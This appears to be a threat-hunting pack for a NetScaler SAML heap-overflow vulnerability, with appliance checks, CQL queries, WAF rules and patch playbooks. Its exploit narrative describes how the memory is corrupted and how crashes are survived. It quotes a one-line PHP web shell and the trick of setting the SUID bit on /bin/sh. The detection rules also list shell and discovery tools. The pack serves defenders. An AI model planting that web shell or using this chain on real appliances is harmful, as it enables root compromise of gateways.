CVE-2026-8452 — Citrix NetScaler ADC/Gateway SAML Memory-Corruption RCE

What it is. CVE-2026-8452 is an unauthenticated heap buffer overflow (CWE-119) in the SAML signature-validation path of Citrix NetScaler ADC and NetScaler Gateway. During canonicalization of a signed SAML <ds:SignedInfo> block, the nsppe packet-engine process copies the attacker-controlled PrefixList attribute of an <ec:InclusiveNamespaces> element into a fixed-size global buffer without checking whether it fits. An oversized, uniquely-tokenized PrefixList (e.g. hundreds of space-separated markers) overflows into the header of the next network-buffer chunk, corrupting its data-pointer and freelist-link fields. That corrupted metadata is later trusted by a memcpy, giving the attacker a full write-what-where primitive — which watchTowr Labs used to overwrite the tx_pkt_complete_fptr function pointer and redirect execution into attacker-supplied shellcode on the appliance's non-ASLR, executable heap. CVSS 8.8.

Why "DoS-only" was wrong. Citrix's 30 June 2026 advisory described this as "a memory overflow vulnerability leading to unpredictable or erroneous behavior and denial of service." watchTowr Labs' 14 August 2026 writeup showed the primitive goes far past a crash: shellcode neutralizes the appliance's SIGSEGV/SIGBUS handlers via sigaction so only the crashed nsppe process respawns — not the whole box — letting a dropped payload survive; it then writes a PHP web shell (<?php echo(system($_GET[0])); ?>) to /var/vpn/theme/x.php as root and sets the SUID bit on /bin/sh so the "nobody"-owned web server can execute commands as root through it. Notably, even Citrix's own CVSS v4.0 vector for this CVE scores VC:H (high confidentiality impact) and VA:H (high availability impact) — the vector itself already implied more than a crash.

Not the same bug as CVE-2026-8451. Citrix's 30 June 2026 bulletin (CTX696604) patched CVE-2026-8452 in the same release as CVE-2026-8451, and both live in the NetScaler SAML validation subsystem — which is why they're easy to conflate. They are not the same flaw. CVE-2026-8451 (covered separately in CVE-2026-8451-NetScaler-SAML-Hunt.html, published 2026-07-24) is a CWE-125 out-of-bounds read in the SAML IDP path that leaks appliance memory — including session tokens — via the NSC_TASS response cookie; it requires a SAML IDP profile and its outcome is credential/session disclosure, replayed to bypass MFA. CVE-2026-8452 is a CWE-119 out-of-bounds write reachable via a Gateway or AAA vserver (SAML used as SP or IDP), and its outcome is unauthenticated code execution as root — a strictly more severe primitive. This pack does not duplicate the CVE-2026-8451 detections; see §2 and §18 for the cross-reference.

The hunt problem. Exactly as with CVE-2026-8451, the vulnerable appliance is not a Falcon-instrumented endpoint — the exploit primitive, the memory corruption, and the confirmed web-shell drop all happen on FreeBSD-based NetScaler internals that the sensor never sees. This pack is honest about that boundary: §7 covers the appliance-native detections (the only place the exploit itself is visible), while §8's CQL queries hunt strictly downstream — Falcon-instrumented hosts reachable via the compromised gateway segment, credentials harvested from the appliance's config being reused elsewhere, and post-shell command execution landing on any instrumented Windows/Linux host.

Defender priority: Patch to a fixed build (14.1-72.61 / 13.1-63.18 / 13.1-37.272 FIPS or later) immediately — CISA added this to KEV on 2026-08-26 with a 2026-08-29 remediation deadline. Then treat every appliance that was internet-reachable before you patched as potentially already rooted: check for x.php/z.php in web-writable paths, an unexpected SUID bit on /bin/sh, and nsppe crash/respawn cycles in the system log. Patching a compromised appliance does not evict an attacker who already has root and harvested secrets — rotate everything the appliance touched.

Intel gaps / perishability: No literal attacker IPs, C2 domains, or file hashes have been publicly attributed to CVE-2026-8452 exploitation — only source countries and web-shell filenames/content. Treat the appliance-native and behavioral indicators (§4, §10) as the durable detections; the IOC appendix ships REPLACE_* placeholders rather than fabricated atomics. All sources above were fetched in full and saved to NetScaler-CVE-2026-8452-Hunt-sources/ for provenance; no source contained text directed at an AI agent.

Cross-reference, not duplication: CVE-2026-8451-NetScaler-SAML-Hunt.html already covers the sibling memory-overread/session-disclosure CVE from the same 30 June bulletin, including its own CQL queries for session-replay hunting. This pack focuses exclusively on the CVE-2026-8452 overflow/RCE chain and the downstream telemetry it demands; run both packs if your appliance is exposed to either precondition.

Hunt hypotheses (fidelity-ordered)

Attack chain

No malware hashes or C2 domains are published for CVE-2026-8452 exploitation. The IOC appendix (§10) ships placeholder-driven blocks alongside the confirmed filename/behavioral indicators above — the behavioral, config, and filename indicators are the durable detections here.

Coverage reality: the exploit primitive, the memory corruption, the RIP-control chain, and the confirmed web-shell drop all happen on the appliance itself, which has no Falcon sensor. If NetScaler logs and a lightweight FIM check on web-writable appliance paths aren't in place, H1–H3 (the highest-fidelity hypotheses) are blind. The CQL queries in §8 begin at the pivot into your instrumented estate.

These run against the appliance itself — the only place the exploit primitive, the crash-survival trick, and the confirmed web-shell drop are visible. Forward NetScaler logs to your SIEM if you have not already, and add a lightweight FIM check to web-writable appliance paths.

On the NetScaler (CLI / shell)

• Confirm exposure: show ns version — vulnerable if below 14.1-72.61 / 13.1-63.18 / 13.1-37.272 (FIPS). Then check for the precondition: add authentication vserver .* (AAA) or add vpn vserver .* (Gateway) present in the running config, per Citrix CTX696604.
• Oversized PrefixList probe: search the web/proxy log for SAML auth requests whose body contains a PrefixList attribute value far longer than a normal namespace-prefix list (normal usage is a handful of short prefixes; the exploit uses hundreds of unique tokens).
• Crash/respawn pattern: review the system log for nsppe crash events (SIGSEGV/SIGBUS) that are followed by a process-level respawn rather than a full appliance reboot — the signature of successful signal-handler neutralization. A crash that does trigger a full reboot is more consistent with a failed or DoS-only attempt.
• Web-shell / SUID check: from the shell, look for unexpected PHP files named x.php or z.php (or similar single-letter names) in /var/vpn/theme/ and other web-writable paths, and check /bin/sh for an unexpected SUID bit (ls -l /bin/sh — mode should not include s in the owner-execute position on a clean system).
• Web-shell hit pattern: hunt the web access log for requests to the discovered shell path carrying a single-character query parameter (matching the PoC's $_GET[0]) with command-like values such as id or echo.

On the web/WAF tier in front of NetScaler

• Alert on SAML POST requests where the PrefixList attribute value exceeds a sane length/token-count threshold (baseline your normal namespace-prefix usage first — it is typically very short).
• Alert on any GET/POST to a newly-appearing single-letter .php path on the appliance's web tier.

On the identity / AAA backend (AD, LDAP, RADIUS)

• Hunt authentication events from the appliance's bound service account(s) for volume or source anomalies following any suspected exploitation window — a rooted appliance can read the bind credentials directly from ns.conf.

The appliance where CVE-2026-8452 is actually exploited is not Falcon-instrumented, so every query below hunts the instrumented estate reachable through or behind the gateway. Replace the REPLACE_* placeholders with your own NetScaler VIP/SNIP, DMZ subnet, and AAA/LDAP service-account name(s) before running.

// HUNT: Appliance-bound AAA/LDAP service account auth volume/source anomaly
// MITRE: T1552 / T1078 | CONF: medium  FP: medium  COST: medium | REQUIRES: UserLogon
// TUNING: set UserName regex to YOUR NetScaler-bound LDAP/RADIUS/AAA service account(s)
#event_simpleName=/UserLogon/
| UserName=/^REPLACE_AAA_SERVICE_ACCOUNT$/i
| groupBy([UserName, ComputerName, RemoteAddressIP4], function=count(as=logons))
| test(logons >= 1)
| sort(logons, order=desc)
| table([UserName, ComputerName, RemoteAddressIP4, logons], limit=200)

// HUNT: Discovery/identity utility burst on a single host
// MITRE: T1033 / T1082 / T1087 | CONF: medium  FP: medium  COST: medium | REQUIRES: ProcessRollup2
// TUNING: exclude known admin/jump hosts and logon-script parents
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| FileName=/^(id|whoami|echo|uname|hostname|ifconfig|ipconfig|nltest|net1?|systeminfo|arp|route)(\.exe)?$/i
| groupBy([ComputerName, aid], function=count(field=FileName, as=distinct_tools, distinct=true))
| test(distinct_tools >= 3)
| sort(distinct_tools, order=desc)
| table([ComputerName, aid, distinct_tools], limit=200)

// HUNT: Web-server process spawning a discovery/shell command (web-shell execution pattern)
// MITRE: T1505.003 / T1059 | CONF: high  FP: low  COST: low | REQUIRES: ProcessRollup2
// TUNING: scope ParentBaseFileName to your actual web server / PHP-FPM binaries; exclude known health-check subprocess calls
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| ParentBaseFileName=/(httpd|nginx|php-fpm|apache2|w3wp\.exe|caddy)/i
| FileName=/^(id|whoami|echo|uname|sh|bash|cmd|powershell)(\.exe)?$/i
| table([ComputerName, aid, ParentBaseFileName, FileName, CommandLine], limit=200)

// HUNT: Logons into internal hosts sourced from the NetScaler Gateway/AAA VIP or SNIP
// MITRE: T1021 / T1078 | CONF: medium  FP: medium  COST: medium | REQUIRES: UserLogon
// TUNING: set RemoteAddressIP4 regex to YOUR NetScaler VIP/SNIP addresses
#event_simpleName=/UserLogon/
| LogonType=/^(3|9|10)$/
| RemoteAddressIP4=/^REPLACE_NETSCALER_VIP/
| table([UserName, ComputerName, LogonType, RemoteAddressIP4], limit=200)

// HUNT: DMZ/gateway-segment host connection volume by destination (pair with rare-destination enrichment)
// MITRE: T1071 / T1041 | CONF: low  FP: high  COST: medium | REQUIRES: NetworkConnectIP4
// TUNING: set LocalAddressIP4 to YOUR DMZ/appliance segment; feed RemoteAddressIP4 into rare-destination/threat-intel enrichment
#event_simpleName=/NetworkConnectIP4/
| ConnectionDirection=/^0$/
| LocalAddressIP4=/^REPLACE_DMZ_SUBNET/
| groupBy([ComputerName, RemoteAddressIP4], function=count(as=conns))
| test(conns >= 1)
| sort(conns, order=desc)
| table([ComputerName, RemoteAddressIP4, conns], limit=200)

// HUNT: Suspicious service/scheduled-task creation post-pivot
// MITRE: T1543.003 / T1053.005 | CONF: medium  FP: medium  COST: low | REQUIRES: ServiceInstalled / ScheduledTaskRegistered
// TUNING: exclude signed installer paths and RMM/patch-deployment parents (e.g. ccmexec, msiexec)
#event_simpleName=/CreateService|ScheduledTaskRegistered/
| CommandLine=/(cmd(\.exe)?|powershell(\.exe)?|rundll32|regsvr32|mshta|wscript|cscript|\/bin\/sh|\/bin\/bash)/i
| table([ComputerName, aid, UserName, ServiceName, TaskName, CommandLine], limit=200)

// HUNT: CVE-2026-8452 - T1078 Valid Accounts (post-pivot use of credentials harvested from compromised NetScaler)
// CONF: medium  FP: medium  COST: medium | REQUIRES: native Falcon Identity/endpoint telemetry on target hosts; replace NETSCALER_CIDR with your appliance's actual management/DMZ subnet
// HYPOTHESIS: Credentials harvested from a compromised NetScaler (LDAP bind account, SAML signing keys, session secrets) are reused against Falcon-covered Windows/Linux/AD infrastructure, sourced from the appliance's IP/subnet, in a pattern inconsistent with routine LDAP-bind-only traffic.
// LOOKBACK: 14d
// TUNING: exclude your documented AAA/LDAP bind service account issuing continuous service-style binds to known domain controllers; this query is already scoped to LogonType != 3 (excludes network/service logons) to reduce that noise -- add a ComputerName exclusion for your known DC set if still noisy.
// REQUIRED TUNING: replace documentation-only 192.0.2.0/24 with the exact NetScaler appliance IP (/32) or management/DMZ CIDR before use.

#event_simpleName = /UserLogon|UserLogonFailed2/
| cidr(RemoteAddressIP4, subnet="192.0.2.0/24")
| LogonType != 3
| table([@timestamp, ComputerName, UserName, UserSid, RemoteAddressIP4, LogonType, aid])
| sort(@timestamp, order=desc)

// HUNT: CVE-2026-8452 - T1021 Remote Services (lateral movement using compromised appliance as pivot)
// CONF: medium  FP: medium  COST: medium | REQUIRES: native Falcon network telemetry on target hosts; replace NETSCALER_CIDR with your appliance's actual management/DMZ subnet
// HYPOTHESIS: A gateway/VPN appliance never legitimately originates interactive remote-administration sessions (RDP/SSH/WinRM) to arbitrary internal hosts. New inbound connections on 3389/22/5985-5986 sourced from the NetScaler's IP/subnet suggest an attacker pivoting inward after gaining root via this CVE.
// LOOKBACK: 14d
// TUNING: exclude any documented, sanctioned jump-host/bastion IPs co-located in the same subnet as the NetScaler appliance that are expected to originate admin sessions.
// REQUIRED TUNING: replace documentation-only 192.0.2.0/24 with the exact NetScaler appliance IP (/32) or management/DMZ CIDR before use.

#event_simpleName = NetworkReceiveAcceptIP4
| cidr(RemoteAddressIP4, subnet="192.0.2.0/24")
| in(LocalPort, values=[22, 3389, 5985, 5986])
| rename(field=ContextProcessId_decimal, as=TargetProcessId_decimal)
| join(query={#event_simpleName = /ProcessRollup2|SyntheticProcessRollup2/}, field=[aid, TargetProcessId_decimal], include=[ImageFileName, CommandLine, UserName])
| table([@timestamp, ComputerName, UserName, ImageFileName, CommandLine, RemoteAddressIP4, LocalPort, aid])
| sort(@timestamp, order=desc)

The exploit and confirmed web-shell drop are off-sensor, so IOAs here target the naming convention being replayed internally and the post-exploitation behavior on instrumented hosts. Promote only after baselining.

The highest-fidelity detections — the oversized PrefixList probe (H1) and the nsppe crash/partial-respawn pattern (H2) — belong in your WAF/NGSIEM rules against NetScaler logs, not a Falcon IOA. The appliance never reports to the sensor.

See also: this appliance family also has a separate, already-hardened CVE-2026-8451 (a distinct SAML memory-overread/session-token-leak bug via the NSC_TASS cookie at /saml/login, CWE-125, different exploitation chain). Review that pack's hardening section too if this NetScaler estate is in scope for both.

Playbook A — Patch + compromise assessment (NetScaler CLI)

Prerequisites: console/SSH access to the appliance; a maintenance window for the firmware upgrade; the fixed-build image staged. Reboot required: yes — the firmware upgrade in step 2 reboots the appliance. Rollback: keep the pre-upgrade firmware image and current config backup (save ns config beforehand); if the upgrade causes an operational issue, restore from the last known-good firmware snapshot per your standard NetScaler upgrade rollback procedure.

# 1. Confirm current version and exposure
show ns version
show running -sed 's/^/ /' | grep -E "add (authentication vserver|vpn vserver)"

# 2. BEFORE patching, run the compromise-assessment checklist (do this first —
#    an upgrade can overwrite evidence of a prior compromise):
find /var/vpn -iname 'x.php' -o -iname 'z.php'
ls -l /bin/sh
grep -i 'sigbus\|sigsegv' /var/log/ns.log

# 3. If any indicator above is positive, STOP and treat as a confirmed compromise:
#    rotate every secret the appliance holds (step 5) and prefer a clean
#    reimage over an in-place patch for that box.

# 4. Upload + install the fixed build via the CLI or GUI, then reboot
#    (target: 14.1-72.61 / 13.1-63.18 / 13.1-37.272 FIPS or later)

# 5. Rotate secrets the appliance holds regardless of confirmed compromise:
#    AAA/LDAP bind credentials, RADIUS shared secrets, SAML signing cert/key
#    set samlAuthnRequestsProfile / samlIdPProfile -samlIdPCertName <new_cert>

Playbook B — WAF virtual-patch for the SAML PrefixList overflow (pseudo-rule)

Prerequisites: WAF or reverse proxy positioned in front of the NetScaler SAML auth endpoint, capable of inspecting request bodies. Reboot required: no. Rollback: disable/remove the rule — it is a request-inspection filter with no persistent state change.

# Reject a SAML SignedInfo whose PrefixList is abnormally long:
IF  request.body matches "<ec:InclusiveNamespaces[^>]*PrefixList=\"[^\"]{200,}\""
THEN block, log(source_ip, request_id)

# Baseline note: legitimate PrefixList values are normally a handful of short
# namespace prefixes (well under 200 characters). Tune the threshold to your
# own observed traffic before enabling in blocking mode.

Playbook C — Appliance compromise triage (shell checklist)

Prerequisites: shell access to the NetScaler appliance. Reboot required: no — this is a read-only triage pass. Rollback: none required — no state is changed by running these checks.

# Web shell / privesc artifacts
find /var/vpn -iname 'x.php' -o -iname 'z.php' -newer /var/log/ns.log
ls -l /bin/sh                                   # look for an unexpected SUID bit
find / -perm -4000 -newer /var/log/ns.log 2>/dev/null   # any new SUID binaries?

# Crash / partial-respawn pattern
grep -i 'sigbus\|sigsegv\|nsppe' /var/log/ns.log | tail -100

# If ANY of the above are positive: rotate every secret the appliance holds
# (AAA/LDAP bind creds, RADIUS shared secrets, SAML signing keys), and treat
# the box as compromised for IR purposes even after patching.

Known gaps: the exploit primitive, the memory-corruption chain, the crash-survival trick, and the confirmed web-shell/SUID artifacts are all off-sensor — recoverable only from NetScaler logs and appliance-side FIM/shell checks (§7, §10, §13 Playbook C). The Falcon queries here begin at credential reuse and lateral pivot. Closing the primary gap = forwarding appliance logs to the SIEM, deploying the native H1/H2 rules, and running the compromise-assessment checklist on every exposed appliance.

Validation: telemetry-ready, compromise-assessment, and benign-baseline gates (§11) must pass before Q1/Q2/Q5/Q6 are promoted from Investigate to Detect.